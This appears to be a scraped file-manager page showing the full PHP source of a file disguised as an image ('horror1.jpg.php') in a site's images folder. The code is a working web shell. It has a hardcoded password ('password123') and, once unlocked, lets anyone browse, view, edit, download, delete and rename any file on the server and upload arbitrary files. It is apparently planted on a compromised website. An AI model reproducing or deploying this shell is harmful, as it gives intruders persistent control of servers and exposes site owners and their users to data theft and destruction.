Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
File Manager
/
images
/
projects
:
c6858bfbf9e16e28983f72b0b9a16584horror1.jpg.php
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php session_start(); $username = "admin"; // not used anymore $password = "password123"; // ---- LOGIN CHECK (no headers sent yet) ---- if (!isset($_SESSION['authenticated'])) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['password'] === $password) { session_regenerate_id(true); $_SESSION['authenticated'] = true; header("Location: " . $_SERVER['PHP_SELF']); exit; } else { ?> <style> body { background-color: #0d0d0d; color: #00ff88; font-family: 'Courier New', monospace; display: flex; flex-direction: column; align-items: center; justify-content: start; height: 100vh; padding-top: 80px; } form { background: #111; border: 1px solid #00ff88; padding: 30px; border-radius: 8px; text-align: center; } input[type="password"], button { margin-top: 10px; background-color: #000; color: #00ff88; border: 1px solid #00ff88; border-radius: 4px; padding: 10px; font-family: monospace; width: 200px; } h2 { margin-bottom: 20px; } </style> <form method="post"> <h2>Enter Password</h2> <input type="password" name="password" placeholder="********"><br> <button type="submit">Access</button> </form> <?php exit; } } ?> <!-- MAIN INTERFACE --> <style> body { background-color: #0d0d0d; color: #00ff88; font-family: 'Courier New', monospace; padding: 20px; } a { color: #00ff88; text-decoration: none; } a:hover { text-decoration: underline; } ul { list-style-type: none; padding: 0; } li { margin: 8px 0; padding: 8px; background-color: #111; border-left: 4px solid #00ff88; border-radius: 5px; } input[type="file"], textarea, button { background-color: #000; color: #00ff88; border: 1px solid #00ff88; border-radius: 4px; padding: 8px; } button { cursor: pointer; } .action-link { margin-left: 10px; font-weight: bold; } .edit-link { color: #00e676; } .delete-link { color: #ff1744; } </style> <script> function renameFile(filePath, currentName) { const newName = prompt("Rename to:", currentName); if (newName && newName !== currentName) { window.location.href = "?action=rename&file=" + encodeURIComponent(filePath) + "&new_name=" + encodeURIComponent(newName); } } </script> <?php $currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); $currentDir = realpath($currentDir); $action = $_GET['action'] ?? ''; $file = $_GET['file'] ?? ''; if ($file) $file = realpath($file); if ($action === 'download' && $file && file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } if ($action === 'view' && $file && file_exists($file)) { echo "<h3>Viewing: " . htmlspecialchars($file) . "</h3>"; echo "<pre>" . htmlspecialchars(file_get_contents($file)) . "</pre>"; echo "<a href='?dir=" . urlencode(dirname($file)) . "'>Back</a>"; exit; } if ($action === 'edit' && $file && file_exists($file)) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { file_put_contents($file, $_POST['content']); echo "Saved successfully.<br>"; } echo "<h3>Editing: " . htmlspecialchars($file) . "</h3>"; echo "<form method='post'>"; echo "<textarea name='content' rows='20' cols='100'>" . htmlspecialchars(file_get_contents($file)) . "</textarea><br>"; echo "<button type='submit'>Save</button>"; echo "</form>"; echo "<a href='?dir=" . urlencode(dirname($file)) . "'>Back</a>"; exit; } if ($action === 'delete' && $file && file_exists($file)) { echo unlink($file) ? "Deleted." : "Failed."; } if ($action === 'rename' && $file && file_exists($file) && isset($_GET['new_name'])) { $dir = dirname($file); $newName = basename($_GET['new_name']); $newPath = $dir . DIRECTORY_SEPARATOR . $newName; if (!preg_match('/^[\w\-. ]+$/', $newName)) { echo "Invalid filename."; } elseif (file_exists($newPath)) { echo "A file with that name already exists."; } elseif (rename($file, $newPath)) { echo "File renamed successfully.<br><a href='?dir=" . urlencode($dir) . "'>Back</a>"; exit; } else { echo "Rename failed.<br>"; } } if (!empty($_FILES['upload'])) { $target = $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']); echo move_uploaded_file($_FILES['upload']['tmp_name'], $target) ? "Uploaded successfully." : "Upload failed."; } echo "<h2>Index of " . htmlspecialchars($currentDir) . "</h2>"; echo "<form method='post' enctype='multipart/form-data'> <input type='file' name='upload'> <button type='submit'>Upload</button> </form><br>"; echo "<ul>"; $parent = dirname($currentDir); if ($parent && $parent !== $currentDir) { echo "<li><a href='?dir=" . urlencode($parent) . "'>[ Parent Directory ]</a></li>"; } foreach (scandir($currentDir) as $item) { if ($item === '.' || $item === '..') continue; $fullPath = $currentDir . DIRECTORY_SEPARATOR . $item; $encoded = urlencode($fullPath); $basename = htmlspecialchars($item); if (is_dir($fullPath)) { echo "<li><a href='?dir=$encoded'>[DIR] $basename/</a></li>"; } else { echo "<li><span onclick='renameFile(\"$fullPath\", \"$basename\")' style='cursor:pointer;' title='Click to rename'>$basename</span>"; echo " | <a class='action-link' href='?action=view&file=$encoded'>View</a>"; echo " | <a class='action-link edit-link' href='?action=edit&file=$encoded'>Edit</a>"; echo " | <a class='action-link' href='?action=download&file=$encoded'>Download</a>"; echo " | <a class='action-link delete-link' href='?action=delete&file=$encoded' onclick='return confirm(\"Delete this file?\");'>Delete</a>"; echo "</li>"; } } echo "</ul>"; echo "<br><a href='?logout=1'>Logout</a>"; if (isset($_GET['logout'])) { session_destroy(); header("Location: " . $_SERVER['PHP_SELF']); } ?>